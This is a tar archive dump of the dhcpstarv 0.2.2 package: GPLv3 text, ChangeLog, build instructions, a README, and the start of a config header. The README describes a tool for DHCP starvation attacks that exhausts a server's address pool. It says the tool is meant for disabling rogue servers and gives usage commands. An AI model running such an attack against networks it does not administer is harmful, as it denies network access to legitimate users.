pax_global_header00006660000000000000000000000064126300165720014514gustar00rootroot0000000000000052 comment=b0a06075c22c389f909d27582e9ebac6710dbc9e dhcpstarv-0.2.2/000077500000000000000000000000001263001657200135135ustar00rootroot00000000000000dhcpstarv-0.2.2/AUTHORS000066400000000000000000000000711263001657200145610ustar00rootroot00000000000000Copyright (c) 2007 Dmitry Davletbaev dhcpstarv-0.2.2/COPYING000066400000000000000000001045131263001657200145520ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . dhcpstarv-0.2.2/ChangeLog000066400000000000000000000017351263001657200152730ustar00rootroot0000000000000003.12.2015 Dmity Davletbaev * bugfix: fix compiler warnings. * feature: updated to version 0.2.2. 09.01.2009 Dmity Davletbaev * feature: updated to version 0.2.1. 06.01.2009 Dmity Davletbaev * bugfix: block when selecting and reading on receiving socket (less CPU time consumption). * bugfix: receive only IP packets. * feature: --debug option for developers. * bugfix: fix requests number output value. * bugfix: exit request or renew lease loop when critical error occurred so we don't consume a lot of CPU time (for example when network interface is down). 04.03.2008 Dmity Davletbaev * feature: `--dstmac' option added. 11.12.2007 Dmity Davletbaev * feature: set network interface to promiscuous mode (default). Add `--no-promisc' option. * feature: free resources and restore non-promiscuous mode if set by dhcpstarv on exit (sigint) as well as on SIGTERM. dhcpstarv-0.2.2/INSTALL000066400000000000000000000224321263001657200145470ustar00rootroot00000000000000Installation Instructions ************************* Copyright (C) 1994, 1995, 1996, 1999, 2000, 2001, 2002, 2004, 2005 Free Software Foundation, Inc. This file is free documentation; the Free Software Foundation gives unlimited permission to copy, distribute and modify it. Basic Installation ================== These are generic installation instructions. The `configure' shell script attempts to guess correct values for various system-dependent variables used during compilation. It uses those values to create a `Makefile' in each directory of the package. It may also create one or more `.h' files containing system-dependent definitions. Finally, it creates a shell script `config.status' that you can run in the future to recreate the current configuration, and a file `config.log' containing compiler output (useful mainly for debugging `configure'). It can also use an optional file (typically called `config.cache' and enabled with `--cache-file=config.cache' or simply `-C') that saves the results of its tests to speed up reconfiguring. (Caching is disabled by default to prevent problems with accidental use of stale cache files.) If you need to do unusual things to compile the package, please try to figure out how `configure' could check whether to do them, and mail diffs or instructions to the address given in the `README' so they can be considered for the next release. If you are using the cache, and at some point `config.cache' contains results you don't want to keep, you may remove or edit it. The file `configure.ac' (or `configure.in') is used to create `configure' by a program called `autoconf'. You only need `configure.ac' if you want to change it or regenerate `configure' using a newer version of `autoconf'. The simplest way to compile this package is: 1. `cd' to the directory containing the package's source code and type `./configure' to configure the package for your system. If you're using `csh' on an old version of System V, you might need to type `sh ./configure' instead to prevent `csh' from trying to execute `configure' itself. Running `configure' takes awhile. While running, it prints some messages telling which features it is checking for. 2. Type `make' to compile the package. 3. Optionally, type `make check' to run any self-tests that come with the package. 4. Type `make install' to install the programs and any data files and documentation. 5. You can remove the program binaries and object files from the source code directory by typing `make clean'. To also remove the files that `configure' created (so you can compile the package for a different kind of computer), type `make distclean'. There is also a `make maintainer-clean' target, but that is intended mainly for the package's developers. If you use it, you may have to get all sorts of other programs in order to regenerate files that came with the distribution. Compilers and Options ===================== Some systems require unusual options for compilation or linking that the `configure' script does not know about. Run `./configure --help' for details on some of the pertinent environment variables. You can give `configure' initial values for configuration parameters by setting variables in the command line or in the environment. Here is an example: ./configure CC=c89 CFLAGS=-O2 LIBS=-lposix *Note Defining Variables::, for more details. Compiling For Multiple Architectures ==================================== You can compile the package for more than one kind of computer at the same time, by placing the object files for each architecture in their own directory. To do this, you must use a version of `make' that supports the `VPATH' variable, such as GNU `make'. `cd' to the directory where you want the object files and executables to go and run the `configure' script. `configure' automatically checks for the source code in the directory that `configure' is in and in `..'. If you have to use a `make' that does not support the `VPATH' variable, you have to compile the package for one architecture at a time in the source code directory. After you have installed the package for one architecture, use `make distclean' before reconfiguring for another architecture. Installation Names ================== By default, `make install' installs the package's commands under `/usr/local/bin', include files under `/usr/local/include', etc. You can specify an installation prefix other than `/usr/local' by giving `configure' the option `--prefix=PREFIX'. You can specify separate installation prefixes for architecture-specific files and architecture-independent files. If you pass the option `--exec-prefix=PREFIX' to `configure', the package uses PREFIX as the prefix for installing programs and libraries. Documentation and other data files still use the regular prefix. In addition, if you use an unusual directory layout you can give options like `--bindir=DIR' to specify different values for particular kinds of files. Run `configure --help' for a list of the directories you can set and what kinds of files go in them. If the package supports it, you can cause programs to be installed with an extra prefix or suffix on their names by giving `configure' the option `--program-prefix=PREFIX' or `--program-suffix=SUFFIX'. Optional Features ================= Some packages pay attention to `--enable-FEATURE' options to `configure', where FEATURE indicates an optional part of the package. They may also pay attention to `--with-PACKAGE' options, where PACKAGE is something like `gnu-as' or `x' (for the X Window System). The `README' should mention any `--enable-' and `--with-' options that the package recognizes. For packages that use the X Window System, `configure' can usually find the X include and library files automatically, but if it doesn't, you can use the `configure' options `--x-includes=DIR' and `--x-libraries=DIR' to specify their locations. Specifying the System Type ========================== There may be some features `configure' cannot figure out automatically, but needs to determine by the type of machine the package will run on. Usually, assuming the package is built to be run on the _same_ architectures, `configure' can figure that out, but if it prints a message saying it cannot guess the machine type, give it the `--build=TYPE' option. TYPE can either be a short name for the system type, such as `sun4', or a canonical name which has the form: CPU-COMPANY-SYSTEM where SYSTEM can have one of these forms: OS KERNEL-OS See the file `config.sub' for the possible values of each field. If `config.sub' isn't included in this package, then this package doesn't need to know the machine type. If you are _building_ compiler tools for cross-compiling, you should use the option `--target=TYPE' to select the type of system they will produce code for. If you want to _use_ a cross compiler, that generates code for a platform different from the build platform, you should specify the "host" platform (i.e., that on which the generated programs will eventually be run) with `--host=TYPE'. Sharing Defaults ================ If you want to set default values for `configure' scripts to share, you can create a site shell script called `config.site' that gives default values for variables like `CC', `cache_file', and `prefix'. `configure' looks for `PREFIX/share/config.site' if it exists, then `PREFIX/etc/config.site' if it exists. Or, you can set the `CONFIG_SITE' environment variable to the location of the site script. A warning: not all `configure' scripts look for a site script. Defining Variables ================== Variables not defined in a site shell script can be set in the environment passed to `configure'. However, some packages may run configure again during the build, and the customized values of these variables may be lost. In order to avoid this problem, you should set them in the `configure' command line, using `VAR=value'. For example: ./configure CC=/usr/local2/bin/gcc causes the specified `gcc' to be used as the C compiler (unless it is overridden in the site shell script). Here is a another example: /bin/bash ./configure CONFIG_SHELL=/bin/bash Here the `CONFIG_SHELL=/bin/bash' operand causes subsequent configuration-related scripts to be executed by `/bin/bash'. `configure' Invocation ====================== `configure' recognizes the following options to control how it operates. `--help' `-h' Print a summary of the options to `configure', and exit. `--version' `-V' Print the version of Autoconf used to generate the `configure' script, and exit. `--cache-file=FILE' Enable the cache: use and save the results of the tests in FILE, traditionally `config.cache'. FILE defaults to `/dev/null' to disable caching. `--config-cache' `-C' Alias for `--cache-file=config.cache'. `--quiet' `--silent' `-q' Do not print messages saying which checks are being made. To suppress all normal output, redirect it to `/dev/null' (any error messages will still be shown). `--srcdir=DIR' Look for the package's source code in directory DIR. Usually `configure' can determine that directory automatically. `configure' also accepts some other, not widely useful, options. Run `configure --help' for more details. dhcpstarv-0.2.2/Makefile.am000066400000000000000000000000521263001657200155440ustar00rootroot00000000000000SUBDIRS = src man_MANS = doc/dhcpstarv.1 dhcpstarv-0.2.2/NEWS000066400000000000000000000000001263001657200142000ustar00rootroot00000000000000dhcpstarv-0.2.2/README000066400000000000000000000053361263001657200144020ustar00rootroot000000000000001. WHAT IS DHCPSTARV? ~~~~~~~~~~~~~~~~~~~~~ DHCP starvation is attacking a DHCP server by sending a lot of requests to it. This lead to server's address pool exhausting after which DHCP server is not able to respond clients and give them new leases. dhcpstarv is tool that implements DHCP starvation attack. It requests DHCP leases on specified interface, save them and renew on regular basis. 2. WHAT IS DHCPSTARV FOR? ~~~~~~~~~~~~~~~~~~~~~~~~~ When a rogue DHCP server appear in network with DHCP infrastructure some clients can get wrong network settings. Those rogue servers can be switched by users by accident. The only solution to issue is to disconnect such server from network. But it takes a lot of time to discover rogue server if network is complicated, i.e. there are many network devices in it. As a temporary solution you can attack rogue DHCP server until find and disconnect it from network. Do not use this tool for abuse. This tool was made not for such things. You are warned. 3. INSTALLATION ~~~~~~~~~~~~~~~ Change current directory to where package was unpacked and execute these commands: ./configure make make install You must login as root to run `make install'. Alternatively you can install to your own directory: ./configure --prefix=/path/to/my/dir make make install Anyway you must login as root to run dhcpstarv. For additional options see INSTALL document in source directory. 4. USAGE ~~~~~~~~ To attack DHCP server on interface `eth0' run: dhcpstarv -i eth0 If there is a legal DHCP server in network and you don't want to influence it use `-e' option: dhcpstarv -i eth0 -e 192.168.1.1 where 192.168.1.1 is server ID which server put in replies. You can discover it by running dhcpstarv and interrupt execution by pressing `C-c' (control key and C) when first lease was reserved (dhcpstarv print information about server from which options was taken). You will see when servers shut down: you will not receive addresses more. While running dhcpstarv will renew leases. If you interrupt DHCP servers will allocate leases again after some time. See man page for full list of options. 5. DOCUMENTATION ~~~~~~~~~~~~~~~~ The dhcpstarv tool is implemented according to the following RFCs: rfc1533 - DHCP Options and BOOTP Vendor Extensions rfc1542 - Clarifications and Extensions for the Bootstrap Protocol rfc2131 - Dynamic Host Configuration Protocol rfc3046 - DHCP Relay Agent Information Option 5. COPYRIGHT AND FEEDBACK ~~~~~~~~~~~~~~~~~~~~~~~~~ This software is copyrighted under GNU General Public Licence v3. See COPYING document in source directory for full version of licence. Feedback and bug reports are acceptable at . Copyright (c) 2007 Dmitry Davletbaev . dhcpstarv-0.2.2/config.h.in000066400000000000000000000104071263001657200155400ustar00rootroot00000000000000/* config.h.in. Generated from configure.ac by autoheader. */ /* Define to 1 if you have the header file. */ #undef HAVE_ARPA_INET_H /* Define to 1 if you don't have `vprintf' but do have `_doprnt.' */ #undef HAVE_DOPRNT /* Define to 1 if you have the header file. */ #undef HAVE_FCNTL_H /* Define to 1 if you have the `inet_ntoa' function. */ #undef HAVE_INET_NTOA /* Define to 1 if you have the header file. */ #undef HAVE_INTTYPES_H /* Define to 1 if your system has a GNU libc compatible `malloc' function, and to 0 otherwise. */ #undef HAVE_MALLOC /* Define to 1 if you have the header file. */ #undef 